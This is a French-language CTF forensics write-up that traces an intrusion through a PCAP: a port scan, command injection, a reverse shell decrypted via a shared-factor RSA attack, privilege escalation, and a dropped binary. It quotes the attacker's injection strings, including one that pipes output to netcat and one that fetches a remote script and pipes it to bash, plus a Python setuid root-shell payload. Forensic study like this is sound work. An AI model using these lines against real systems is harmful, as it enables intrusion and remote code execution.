Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway. If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it. MD5 of the file : c93adc996da5dda82312e43e9a91d053 PCAP : https://mega.nz/#!eqQV3SwD!_jAfHMqMw9d-LIDoTDR9JziwNicsxkYymS87eR4pLUg
Etat des lieux
A l’ouverture du PCAP, on peut voir énormément de paquets entre l’ip 172.17.0.5 et 172.17.0.1. Du premier paquet au 170281, c’est une alternance de paquets SYN / RST, caractéristique d’un Stealth Scan de nmap. Il est possible de le voir autrement grâce aux premiers ports scannés :
Enfin le user agent “Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" est plutot clair.
La première hypothèse est de voir que l’ip 172.17.0.1 est l’attaquant et 172.17.0.5 est l’attaqué. Il y a un peu de traffic externe, pour ne pas se faire polluer par le reste, un premier filtre est de rigueur :
ip.addr == 172.17.0.1 && ip.addr == 172.17.0.5
Au final la première réelle action utilisateur semble être au stream TCP 85663, car un paramètre POST valide, avec un argument cohérent est passé.
Point d’entré de l’attaquant
Au stream TCP 85664, on peut voir qu’une injection de commande a été tentée :
127.0.0.1; id | nc 172.17.0.1 12345
Et cette injection de commande a l’air d’avoir fonctionné :
Exploitation de l’attaquant
L’attaquant semble executer un script en mémoire :
127.0.0.1 ; curl -k https://172.17.0.1/a.sh | bash
Bien entendu ce site n’est pas accessible il n’est pas possible de récupérer le script a.sh. Les stream tcp suivant (85667 / 85668) doit être le téléchargement wget via https. Une différence intéressante réside dans le changement de port entre le stream 85668 (port 443 sur l’ip de l’attaquant) et le stream 85669 (port 8443 sur l’ip de l’attaquant). Vu la tete des paquets TCP, on peut se douter que c’est du TLS :
Donc un peu de configuration wireshark pour le dissector TLS fasse son travail sur le port 8443, il faut modifier la config du HTTP :
Finalement on voit bien un “Client Hello” sur le port 8443 :
Avant de passer à la suite, on a pu déterminer que l’exploitation a commencé au stream tcp 85664, soit le paquet 183387. On va appliquer un filtre pour masquer tous les paquets d’avant et enregistrer ce nouveau pcap. Ce sera plus simple à manipuler qu’un pcap de 35 Mo. Le filtre wireshark :
(frame.number >= 183387) && (ip.addr == 172.17.0.1 && ip.addr == 172.17.0.5)
Et “File > Exported Selected Packet”
On passe de 185701 paquets à 2077, ce qui est plus confortable.
Crypto attack
Trouver la vuln
On récupère le “Server Hello” de la connexion sur le port 443 et 8443. Première chose intéressante, les “issuer”:
Référence à “Prime Minister” dans les deux. De plus, malgrés les suites de chiffrement safe proposées par le client, le serveur a décidé d’utiliser une suite n’utilisant pas Diffie Hellman:
Référence à prime, pas de diffie hellman -> attaque sur le rsa ? S’il est possible de récupérer une clé privé, alors il sera possible de déchiffrer les communications. S’il y avait eu un DH, DHE, ECDH ou ECDHE, alors il aurait fallu connaitre cet aléa échangé. Enfin, un certificat ssl est la composante publique du RSA, donc les attaques classiques de RSA sur clé publiques sont possibles.
Extraction des certificats
Pour cela, il faut extraire les certificat. CLquer sur le trame “Server Hello” et selectionner le “Certificate” dans le paquet:
Un CTRL+MAJ+X ou File > Export Packet Bytes et le certificat est extrait. Il faut faire la meme chose pour l’autre port.
Conversion DER to PEM
Avant de faire une attaque avec RsaCtfTool, qui a l’avantage de tester tout un tas d’attaque, l faut convertir ces certificat DER au format PEM:
| |
Facteur commun
Pour lancer RsaCtfTool sur plusieurs clés publiques il suffit de:
| |
Il y a donc un facteur commun entre les certificats PEM et permet de récupérer les clés privés de chaques flux.
Déchiffrement du tls dans le pcap
Donc maintenant il suffit de déchiffrer le flux TLS avec Wireshark: Clique droit sur un paquet TLS1.2 > Protocole preferences > Open … > RSA keys list
Ci-dessous la configuration pour déchiffrer les flux:
Analyse du pcap déchiffré
Flux sur le port 443
Maintenant que les flux sont déchiffrés, regardons le premier flux tcp:
Le script bash va télécharger un certificat PEM (/dev/shm/cert2.pem) et faire un reverse shell openssl sur le port 8443: mystère résolue, la transaction sur le port 443 est le serveur web https de l’attaquant et celle sur le 8443 est le reverse shell openssl.
Flux sur le port 8443
L’attaquant cherche à élever ses droits, il a drop un LinEnum pour énumérer un maximum de choses:
L’élevation de privilèges se situe un peu plus bas avec le payload:
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Cette élévation de privilèges s’explique par le fait que python a des capabilities particulières:
Et c’est ce que l’attaquant a vu dans son LinEnum. D’ailleurs, je crois que l’attaquant un message pour le challenger, pour signifier qu’un flag est dans le /root:
La fin du flux montre le téléchargement d’un binaire “DRUNK_IKEBANA” et le place dans le dossier /usr/bin/phar.bak. Il est possible de récupérer le binaire:
Il est possible d’exporter le binaire via le menu File > Export Objects > HTTP > DRUNK_IKEBANA
Et voilà, pour valider l’épreuve, il suffit de trouver le SHA256 du binaire:
| |
Flag
SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}